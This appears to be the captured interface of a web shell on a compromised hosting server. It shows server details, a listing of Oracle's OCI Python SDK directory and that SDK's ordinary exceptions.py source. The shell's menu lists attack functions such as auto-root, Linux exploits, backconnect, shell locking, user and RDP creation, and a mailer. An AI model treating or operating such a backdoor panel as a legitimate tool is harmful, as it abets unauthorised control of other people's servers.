Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.17.12
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
mysqlsh /
lib /
python3.13 /
site-packages /
oci /
[ HOME SHELL ]
Name
Size
Permission
Action
_vendor
[ DIR ]
drwxr-xr-x
access_governance_cp
[ DIR ]
drwxr-xr-x
adm
[ DIR ]
drwxr-xr-x
ai_anomaly_detection
[ DIR ]
drwxr-xr-x
ai_document
[ DIR ]
drwxr-xr-x
ai_language
[ DIR ]
drwxr-xr-x
ai_speech
[ DIR ]
drwxr-xr-x
ai_vision
[ DIR ]
drwxr-xr-x
analytics
[ DIR ]
drwxr-xr-x
announcements_service
[ DIR ]
drwxr-xr-x
apigateway
[ DIR ]
drwxr-xr-x
apm_config
[ DIR ]
drwxr-xr-x
apm_control_plane
[ DIR ]
drwxr-xr-x
apm_synthetics
[ DIR ]
drwxr-xr-x
apm_traces
[ DIR ]
drwxr-xr-x
appmgmt_control
[ DIR ]
drwxr-xr-x
artifacts
[ DIR ]
drwxr-xr-x
audit
[ DIR ]
drwxr-xr-x
auth
[ DIR ]
drwxr-xr-x
autoscaling
[ DIR ]
drwxr-xr-x
bastion
[ DIR ]
drwxr-xr-x
bds
[ DIR ]
drwxr-xr-x
blockchain
[ DIR ]
drwxr-xr-x
budget
[ DIR ]
drwxr-xr-x
capacity_management
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
certificates_management
[ DIR ]
drwxr-xr-x
cims
[ DIR ]
drwxr-xr-x
circuit_breaker
[ DIR ]
drwxr-xr-x
cloud_bridge
[ DIR ]
drwxr-xr-x
cloud_guard
[ DIR ]
drwxr-xr-x
cloud_migrations
[ DIR ]
drwxr-xr-x
cluster_placement_groups
[ DIR ]
drwxr-xr-x
compute_cloud_at_customer
[ DIR ]
drwxr-xr-x
compute_instance_agent
[ DIR ]
drwxr-xr-x
container_engine
[ DIR ]
drwxr-xr-x
container_instances
[ DIR ]
drwxr-xr-x
core
[ DIR ]
drwxr-xr-x
dashboard_service
[ DIR ]
drwxr-xr-x
data_catalog
[ DIR ]
drwxr-xr-x
data_flow
[ DIR ]
drwxr-xr-x
data_integration
[ DIR ]
drwxr-xr-x
data_labeling_service
[ DIR ]
drwxr-xr-x
data_labeling_service_dataplan...
[ DIR ]
drwxr-xr-x
data_safe
[ DIR ]
drwxr-xr-x
data_science
[ DIR ]
drwxr-xr-x
database
[ DIR ]
drwxr-xr-x
database_management
[ DIR ]
drwxr-xr-x
database_migration
[ DIR ]
drwxr-xr-x
database_tools
[ DIR ]
drwxr-xr-x
delegate_access_control
[ DIR ]
drwxr-xr-x
demand_signal
[ DIR ]
drwxr-xr-x
desktops
[ DIR ]
drwxr-xr-x
devops
[ DIR ]
drwxr-xr-x
disaster_recovery
[ DIR ]
drwxr-xr-x
dns
[ DIR ]
drwxr-xr-x
dts
[ DIR ]
drwxr-xr-x
em_warehouse
[ DIR ]
drwxr-xr-x
email
[ DIR ]
drwxr-xr-x
email_data_plane
[ DIR ]
drwxr-xr-x
encryption
[ DIR ]
drwxr-xr-x
events
[ DIR ]
drwxr-xr-x
file_storage
[ DIR ]
drwxr-xr-x
fleet_apps_management
[ DIR ]
drwxr-xr-x
fleet_software_update
[ DIR ]
drwxr-xr-x
functions
[ DIR ]
drwxr-xr-x
fusion_apps
[ DIR ]
drwxr-xr-x
generative_ai
[ DIR ]
drwxr-xr-x
generative_ai_agent
[ DIR ]
drwxr-xr-x
generative_ai_agent_runtime
[ DIR ]
drwxr-xr-x
generative_ai_inference
[ DIR ]
drwxr-xr-x
generic_artifacts_content
[ DIR ]
drwxr-xr-x
globally_distributed_database
[ DIR ]
drwxr-xr-x
golden_gate
[ DIR ]
drwxr-xr-x
governance_rules_control_plane
[ DIR ]
drwxr-xr-x
healthchecks
[ DIR ]
drwxr-xr-x
identity
[ DIR ]
drwxr-xr-x
identity_data_plane
[ DIR ]
drwxr-xr-x
identity_domains
[ DIR ]
drwxr-xr-x
integration
[ DIR ]
drwxr-xr-x
jms
[ DIR ]
drwxr-xr-x
jms_java_downloads
[ DIR ]
drwxr-xr-x
key_management
[ DIR ]
drwxr-xr-x
license_manager
[ DIR ]
drwxr-xr-x
limits
[ DIR ]
drwxr-xr-x
load_balancer
[ DIR ]
drwxr-xr-x
lockbox
[ DIR ]
drwxr-xr-x
log_analytics
[ DIR ]
drwxr-xr-x
logging
[ DIR ]
drwxr-xr-x
loggingingestion
[ DIR ]
drwxr-xr-x
loggingsearch
[ DIR ]
drwxr-xr-x
management_agent
[ DIR ]
drwxr-xr-x
management_dashboard
[ DIR ]
drwxr-xr-x
marketplace
[ DIR ]
drwxr-xr-x
marketplace_private_offer
[ DIR ]
drwxr-xr-x
marketplace_publisher
[ DIR ]
drwxr-xr-x
media_services
[ DIR ]
drwxr-xr-x
monitoring
[ DIR ]
drwxr-xr-x
mysql
[ DIR ]
drwxr-xr-x
network_firewall
[ DIR ]
drwxr-xr-x
network_load_balancer
[ DIR ]
drwxr-xr-x
nosql
[ DIR ]
drwxr-xr-x
object_storage
[ DIR ]
drwxr-xr-x
oce
[ DIR ]
drwxr-xr-x
oci_control_center
[ DIR ]
drwxr-xr-x
ocvp
[ DIR ]
drwxr-xr-x
oda
[ DIR ]
drwxr-xr-x
onesubscription
[ DIR ]
drwxr-xr-x
ons
[ DIR ]
drwxr-xr-x
opa
[ DIR ]
drwxr-xr-x
opensearch
[ DIR ]
drwxr-xr-x
operator_access_control
[ DIR ]
drwxr-xr-x
opsi
[ DIR ]
drwxr-xr-x
optimizer
[ DIR ]
drwxr-xr-x
os_management
[ DIR ]
drwxr-xr-x
os_management_hub
[ DIR ]
drwxr-xr-x
osp_gateway
[ DIR ]
drwxr-xr-x
osub_billing_schedule
[ DIR ]
drwxr-xr-x
osub_organization_subscription
[ DIR ]
drwxr-xr-x
osub_subscription
[ DIR ]
drwxr-xr-x
osub_usage
[ DIR ]
drwxr-xr-x
pagination
[ DIR ]
drwxr-xr-x
psql
[ DIR ]
drwxr-xr-x
queue
[ DIR ]
drwxr-xr-x
recovery
[ DIR ]
drwxr-xr-x
redis
[ DIR ]
drwxr-xr-x
resource_manager
[ DIR ]
drwxr-xr-x
resource_scheduler
[ DIR ]
drwxr-xr-x
resource_search
[ DIR ]
drwxr-xr-x
retry
[ DIR ]
drwxr-xr-x
rover
[ DIR ]
drwxr-xr-x
sch
[ DIR ]
drwxr-xr-x
secrets
[ DIR ]
drwxr-xr-x
security_attribute
[ DIR ]
drwxr-xr-x
service_catalog
[ DIR ]
drwxr-xr-x
service_manager_proxy
[ DIR ]
drwxr-xr-x
service_mesh
[ DIR ]
drwxr-xr-x
stack_monitoring
[ DIR ]
drwxr-xr-x
streaming
[ DIR ]
drwxr-xr-x
tenant_manager_control_plane
[ DIR ]
drwxr-xr-x
threat_intelligence
[ DIR ]
drwxr-xr-x
usage
[ DIR ]
drwxr-xr-x
usage_api
[ DIR ]
drwxr-xr-x
vault
[ DIR ]
drwxr-xr-x
vbs_inst
[ DIR ]
drwxr-xr-x
visual_builder
[ DIR ]
drwxr-xr-x
vn_monitoring
[ DIR ]
drwxr-xr-x
vulnerability_scanning
[ DIR ]
drwxr-xr-x
waa
[ DIR ]
drwxr-xr-x
waas
[ DIR ]
drwxr-xr-x
waf
[ DIR ]
drwxr-xr-x
work_requests
[ DIR ]
drwxr-xr-x
zpr
[ DIR ]
drwxr-xr-x
__init__.py
6.14
KB
-rw-r--r--
alloy.py
6.52
KB
-rw-r--r--
base_client.py
50.76
KB
-rw-r--r--
config.py
9.98
KB
-rw-r--r--
constants.py
487
B
-rw-r--r--
decorators.py
1.61
KB
-rw-r--r--
exceptions.py
8.67
KB
-rw-r--r--
fips.py
3.17
KB
-rw-r--r--
regions.py
21.44
KB
-rw-r--r--
regions_definitions.py
6.45
KB
-rw-r--r--
request.py
1.97
KB
-rw-r--r--
response.py
2.19
KB
-rw-r--r--
service_endpoints.py
1.97
KB
-rw-r--r--
signer.py
11.49
KB
-rw-r--r--
util.py
13.09
KB
-rw-r--r--
version.py
367
B
-rw-r--r--
waiter.py
7.68
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exceptions.py
# coding: utf-8 # Copyright (c) 2016, 2025, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. import platform import oci.util from .version import __version__ from oci._vendor.requests.exceptions import RequestException as BaseRequestException from oci._vendor.requests.exceptions import ConnectTimeout as BaseConnectTimeout CLIENT_VERSION = f"Oracle-PythonSDK/{__version__}" OS_VERSION = platform.platform() UPLOAD_MANAGER_DEBUG_INFORMATION_LOG = f"Client Version: {CLIENT_VERSION}, OS Version: {OS_VERSION}, See https://docs.oracle.com/iaas/Content/API/Concepts/sdk_troubleshooting.htm for common issues and steps to resolve them. If you need to contact support, or file a GitHub issue, please include this full error message." class ServiceError(Exception): """The service returned an error response.""" def __init__(self, status, code, headers, message, **kwargs): self.status = status self.code = code self.headers = headers self.message = message self.original_request = kwargs.get('original_request') self.request_id = self._get_opc_request_id() self.operation_name = kwargs.get('operation_name') self.api_reference_link = kwargs.get('api_reference_link') self.target_service = kwargs.get('target_service') self.request_endpoint = kwargs.get('request_endpoint') self.client_version = kwargs.get('client_version') self.timestamp = kwargs.get('timestamp') api_errors_info = f"See https://docs.oracle.com/iaas/Content/API/References/apierrors.htm#apierrors_{str(self.status)}__{str(self.status)}_{str(code).lower()} for more information about resolving this error." contact_info = f"If you are unable to resolve this {self.target_service} issue, please contact Oracle support and provide them this full error message." if not message: message = "The service returned error code %s" % self.status error_details = { "target_service": self.target_service, "status": status, "code": code, "opc-request-id": self.request_id, "message": message, "operation_name": self.operation_name, "timestamp": self.timestamp, "client_version": self.client_version, "request_endpoint": self.request_endpoint, "logging_tips": "To get more info on the failing request, refer to https://docs.oracle.com/en-us/iaas/tools/python/latest/logging.html for ways to log the request/response details." } if self.api_reference_link: error_details['troubleshooting_tips'] = f"{api_errors_info} Also see {self.api_reference_link} for details on this operation's requirements. {contact_info}" else: error_details['troubleshooting_tips'] = f"{api_errors_info} {contact_info}" if isinstance(kwargs.get('deserialized_data'), dict): # convert the Keys of the dictionary to snake case deserialized_data = oci.util.camel_to_snake_keys(kwargs.get('deserialized_data')) for key, value in deserialized_data.items(): # Skip adding duplicate keys in error_details if key not in (error_details): error_details[key] = value super(ServiceError, self).__init__(error_details) def _get_opc_request_id(self): if self.headers.get("opc-request-id"): return self.headers.get("opc-request-id") elif self.original_request and self.original_request.header_params: return self.original_request.header_params.get("opc-request-id") else: return None class TransientServiceError(ServiceError): """A transient service error occurred""" class ClientError(Exception): """A client-side error occurred..""" class ConfigFileNotFound(ClientError): """Config file not be found.""" class InvalidConfig(ClientError): """The config object is missing required keys or contains malformed values. For example: .. code-block:: python raise InvalidConfig({ "region": "missing", "key_id": "malformed' }) """ def __init__(self, errors): """:param errors: {config key: error code}""" self.errors = errors def __str__(self): return str(self.errors) class InvalidAlloyConfig(ClientError): """Alloy config is invalid, or is blocking a service""" class InvalidResourcePrincipalArguments(ClientError): """The ResourceId is missing.""" class InvalidPrivateKey(ClientError): """The provided key is not a private key, or the provided passphrase is incorrect.""" class MissingPrivateKeyPassphrase(InvalidPrivateKey): """The provided key requires a passphrase.""" class InvalidKeyFilePath(ClientError): """The value is expected to be a file name but it's not a valid key_file path.""" class ProfileNotFound(ClientError): """The specified profile was not found in the config file.""" class WaitUntilNotSupported(ClientError): """wait_until is not supported by this response.""" class MaximumWaitTimeExceeded(ClientError): """Maximum wait time has been exceeded.""" class MultipartUploadError(Exception): """ Exception thrown when an error with a multipart upload occurs. As multipart uploads can be parallelised, this error contains a collection of errors which caused individual part uploads to fail """ def __init__(self, **kwargs): """ :param queue error_causes_queue: A queue containing errors which occured during the multipart upload """ self.error_causes = [] if 'error_causes_queue' in kwargs: while not kwargs['error_causes_queue'].empty(): self.error_causes.append(kwargs['error_causes_queue'].get()) self.message = f"MultipartUploadError exception has occurred. {UPLOAD_MANAGER_DEBUG_INFORMATION_LOG}" super(Exception, self).__init__(self.message) class CompositeOperationError(Exception): """ An exception occurred during a composite operation (e.g. launching an instance and waiting for state) but part of the composite operation succeeded. This exception has the following attributes: :var list partial_results: Any partial results which are available (e.g. if the :py:meth:`~oci.core.ComputeClient.launch_instance` succeeded and the waiting for state failed then this will contain the :py:meth:`~oci.core.ComputeClient.launch_instance` result) :var Exception cause: The exception which caused the composite operation to fail """ def __init__(self, partial_results=[], cause=None): self.partial_results = partial_results self.cause = cause class RequestException(BaseRequestException): """An exception occurred when making the request""" class ConnectTimeout(BaseConnectTimeout): """The request timed out while trying to connect to the remote server. Requests that produced this error are safe to retry. """ class MissingEndpointForNonRegionalServiceClientError(ValueError): """No endpoint value was provided when trying to create a non-regional service client. """ class DownloadTerminated(Exception): """ This exception is raised by DownloadManager.get_object_to_path and DownloadManager.get_object_to_stream when a download is terminated in between. This is generally raised when the download manager's state is changed to -1, indicating that the download is to be terminated. """ pass class ResumableDownloadException(Exception): """ This exception is raised when in a multipart download some parts failed. """ def __init__(self, namespace_name, bucket_name, object_name, failed_parts): self.namespace_name = namespace_name self.bucket_name = bucket_name self.object_name = object_name self.failed_parts = failed_parts class DownloadFailedIncorrectDownloadSize(Exception): """ This exception is raised when the final integrity check (comparing the actual bytes downloaded with the object size in bytes) fails. """ def __init__(self, actual_bytes_downloaded, object_size): self.actual_bytes_downloaded = actual_bytes_downloaded self.object_size = object_size self.message = (f"The downloaded file didn't match the object size in bytes: expected {object_size}, " f"got {actual_bytes_downloaded}")
Close